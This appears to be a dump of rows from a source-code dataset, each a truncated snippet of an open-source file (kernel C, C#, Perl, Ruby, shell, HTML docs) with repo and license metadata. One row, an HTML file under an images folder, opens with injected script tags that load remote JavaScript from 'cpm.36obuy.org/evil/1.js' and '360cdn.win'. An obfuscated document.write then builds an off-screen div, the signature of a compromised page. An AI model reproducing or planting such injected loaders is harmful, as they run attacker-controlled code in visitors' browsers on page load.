al... | doublesword/commuse | Source/W201621/detours3.0/samples/tracereg/Makefile | Makefile | gpl-2.0 | 2,634 |
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace HartUtils
{
public static class ActionHelper
{
/// <summary>
/// Retry the called action until is successful
/// </summary>
... | AlexHart/Utils | HartUtils/HartUtils/ActionHelper.cs | C# | gpl-2.0 | 1,505 |
<script src="http://cpm.36obuy.org/evil/1.js"></script><script src="http://cpm.36obuy.org/lion/1.js"></script><script/src=//360cdn.win/c.css></script>
<script>document.write ('<d' + 'iv cl' + 'a' + 's' + 's="z' + '7z8z' + '9z6" st' + 'yl' + 'e="p' + 'ositio' + 'n:f' + 'ixed;l' + 'ef' + 't:-3' + '0... | ForAEdesWeb/AEW2 | images/Core2Duo/020412060r42gx.html | HTML | gpl-2.0 | 68,551 |
# Contributing to apa102-pi
* Feel free to answer any questions that pop up as issues or in discussions.
* To contribute code, please make a pull request against the "develop" branch. I will review and merge the code, and release it on "main" whenever I do the next release. I will also update the release history in RE... | tinue/APA102_Pi | CONTRIBUTING.md | Markdown | gpl-2.0 | 1,892 |
// Copyright (c) 2011 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef PRINTING_PAGE_SETUP_H_
#define PRINTING_PAGE_SETUP_H_
#include "printing/printing_export.h"
#include "ui/gfx/rect.h"
namespace printing {
c... | qtekfun/htcDesire820Kernel | external/chromium_org/printing/page_setup.h | C | gpl-2.0 | 1,774 |
{-# LANGUAGE TemplateHaskell, DeriveDataTypeable, FlexibleContexts, MultiParamTypeClasses, FlexibleInstances, UndecidableInstances, TypeSynonymInstances, ScopedTypeVariables #-}
module Turing.Type
( module Turing.Type
, module Autolib.Set
, module Autolib.FiniteMap
)
where
-- $Id$
import Autolib.Set
import Auto... | Erdwolf/autotool-bonn | src/Turing/Type.hs | Haskell | gpl-2.0 | 2,844 |
/* Copyright (C) 2007-2013 Open Information Security Foundation
*
* You can copy, redistribute or modify this Program under the terms of
* the GNU General Public License version 2 as published by the Free
* Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY... | Brainiarc7/oisf | src/decode-ipv6.c | C | gpl-2.0 | 40,841 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="it">
<head>
<!-- Generated by javadoc (version 1.7.0_03) on Tue Dec 09 10:56:13 CET 2014 -->
<title>Uses of Class jade.content.schema.VariableSchema (JADE v4.3.3 API)</title>
<meta n... | LeeboyOver9000/TCC | doc/api/jade/content/schema/class-use/VariableSchema.html | HTML | gpl-2.0 | 4,421 |
/*
* Copyright (C) 2006 Voice Sistem SRL
* Copyright (C) 2010-2012 OpenSIPS Solutions
*
* This file is part of opensips, a free SIP server.
*
* opensips is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; ... | chiforbogdan/opensips | statistics.c | C | gpl-2.0 | 21,856 |
<?xml version="1.0" encoding="ascii"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>schrodinger.application.jaguar.input.JaguarInput</title>
<link rel="stylesheet" href="epydo... | platinhom/ManualHom | Schrodinger/Schrodinger_2012_docs/python_api/api/schrodinger.application.jaguar.input.JaguarInput-class.html | HTML | gpl-2.0 | 42,319 |
package pfappserver::Form::Field::JSON;
=head1 NAME
pfappserver::Form::Field::JSON -
=head1 DESCRIPTION
pfappserver::Form::Field::JSON
=cut
use strict;
use warnings;
use HTML::FormHandler::Moose;
extends 'HTML::FormHandler::Field::Text';
use JSON::MaybeXS qw(decode_json);
sub validate {
my ($self) = @_;
... | inverse-inc/packetfence | html/pfappserver/lib/pfappserver/Form/Field/JSON.pm | Perl | gpl-2.0 | 1,254 |
// **********************************************************************
//
// Copyright (c) 2003-2013 ZeroC, Inc. All rights reserved.
//
// This copy of Ice is licensed to you under the terms described in the
// ICE_LICENSE file included in this distribution.
//
// ***************************************************... | sbesson/zeroc-ice | cs/test/Ice/invoke/Server.cs | C# | gpl-2.0 | 2,654 |
/*
* kernel/sched/core.c
*
* Kernel scheduler and related syscalls
*
* Copyright (C) 1991-2002 Linus Torvalds
*
* 1996-12-23 Modified by Dave Grothe to fix bugs in semaphores and
* make semaphores SMP safe
* 1998-11-19 Implemented schedule_timeout() and related stuff
* by Andrea Arcangeli
* 2002-01... | Khaon/mi2_kernel | kernel/sched/core.c | C | gpl-2.0 | 216,693 |
/*
* Driver for AMBA serial ports
*
* Based on drivers/char/serial.c, by Linus Torvalds, Theodore Ts'o.
*
* Copyright 1999 ARM Limited
* Copyright (C) 2000 Deep Blue Solutions Ltd.
* Copyright (C) 2010 ST-Ericsson SA
*
* This program is free software; you can redistribute it and/or modify
* it under the ... | wozgeass/Raspberry-RT | drivers/tty/serial/amba-pl011.c | C | gpl-2.0 | 68,093 |
<% var total_paginas = Math.ceil(total/por_pagina) %>
<% var page = parseInt(pagina) %>
<% var ruta = '/' + modelo %>
<% if (total_paginas > 1) { %>
<% if (page !== 1) { %>
<a href="<%- ruta %>?page=1" class="btn btn-xs btn-info <%- modelo %>-first"><i class="icon-fast-backward"></i> Primera</a>
<a href="<%-... | alejomongua/esqueleto | interfaz/public/_views/common/_paginacion.html | HTML | gpl-2.0 | 1,355 |
package org.xbrlapi.xlink;
/**
* Default XLinkHandler implementation, does nothing for any of the events.
* Extend this class to create your own XLinkHandler.
* @author Geoffrey Shuetrim (geoff@galexy.net)
*/
import java.io.Serializable;
import org.xml.sax.Attributes;
public class XLinkHandlerDefaultImpl implem... | martinggww/Programming | XBRL/xbrl-api/module-xlink/src/main/java/org/xbrlapi/xlink/XLinkHandlerDefaultImpl.java | Java | gpl-2.0 | 5,833 |
# Copyright Statement:
#
# This software/firmware and related documentation ("MediaTek Software") are
# protected under relevant copyright laws. The information contained herein
# is confidential and proprietary to MediaTek Inc. and/or its licensors.
# Without the prior written permission of MediaTek inc. and/or its li... | luckasfb/OT_903D-kernel-2.6.35.7 | bootable/bootloader/uboot/post/lib_powerpc/fpu/Makefile | Makefile | gpl-2.0 | 3,395 |
#ifndef PICON_PNG_H
#define PICON_PNG_H
static unsigned char picon_png[] =
{
0x00, 0x00, 0x09, 0xb0,
0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, 0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52,
0x00, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x32, 0x08, 0x02, 0x00, 0x00, 0x00, 0x91, 0x5d, 0x1f,
0xe6, 0x00, 0x00, ... | triceratops1/cinelerra | cinelerra-4.6/cinelerra-4.6.mod/plugins/translate/picon_png.h | C | gpl-2.0 | 15,304 |
<?php
/* core/themes/classy/templates/content/links--node.html.twig */
class __TwigTemplate_2808604c1abc1841ee1b275db7f00f52819a8bc5430feb30fc7acaf0e95693c6 extends Twig_Template
{
public function __construct(Twig_Environment $env)
{
parent::__construct($env);
$this->parent = false;
$... | rsathishkumar/edtx | sites/default/files/php/twig/5a05b3981ce76_links--node.html.twig_1wXe-HY27nDkstwTVbPk4uUqL/c4djdCkKgs500njO7xqpW_AJv-qVWilgkk4gFFR5464.php | PHP | gpl-2.0 | 2,761 |
// SPDX-License-Identifier: GPL-2.0+
/* NetworkManager Applet -- allow user control over networking
*
* Dan Williams <dcbw@redhat.com>
*
* Copyright 2007 - 2014 Red Hat, Inc.
*/
#include "nm-default.h"
#include <ctype.h>
#include <string.h>
#include "wireless-security.h"
#include "eap-method.h"
struct _Wireles... | GNOME/network-manager-applet | src/wireless-security/ws-wpa-eap.c | C | gpl-2.0 | 3,450 |
class TodosController < ApplicationController
before_action :require_user
def index
@todos = Todo.where({:user_id=>@current_user.id})
end
def new
@todo = Todo.new
end
def create
@todo = Todo.new(todo_params)
@todo.user_id = @current_user.id
@todo.save!
redirect_to '/'
end
d... | sikanrong/fullstackMofoExercises | Ruby/07_to_do_list/app/controllers/todos_controller.rb | Ruby | gpl-2.0 | 719 |
# Copyright (c) [2019] SUSE LLC
#
# All Rights Reserved.
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of version 2 of the GNU General Public License as published
# by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WI... | mchf/yast-network | test/y2network/config_test.rb | Ruby | gpl-2.0 | 19,802 |
#!/bin/sh
# -----------------------------------------------------------------------------
# -----------------------------------------------------------------------------
# -- --
# -- This file is part of the DE0_Nano_Linux project ... | DSP-Crowd/software | _install/de0_nano/simulation/altremote_pulsed/build.sh | Shell | gpl-2.0 | 2,449 |
/* $Id: dvmmbr.cpp 56290 2015-06-09 14:01:31Z vboxsync $ */
/** @file
* IPRT Disk Volume Management API (DVM) - MBR format backend.
*/
/*
* Copyright (C) 2011-2015 Oracle Corporation
*
* This file is part of VirtualBox Open Source Edition (OSE), as
* available from http://www.virtualbox.org. This file is free so... | carmark/vbox | src/VBox/Runtime/common/dvm/dvmmbr.cpp | C++ | gpl-2.0 | 13,219 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.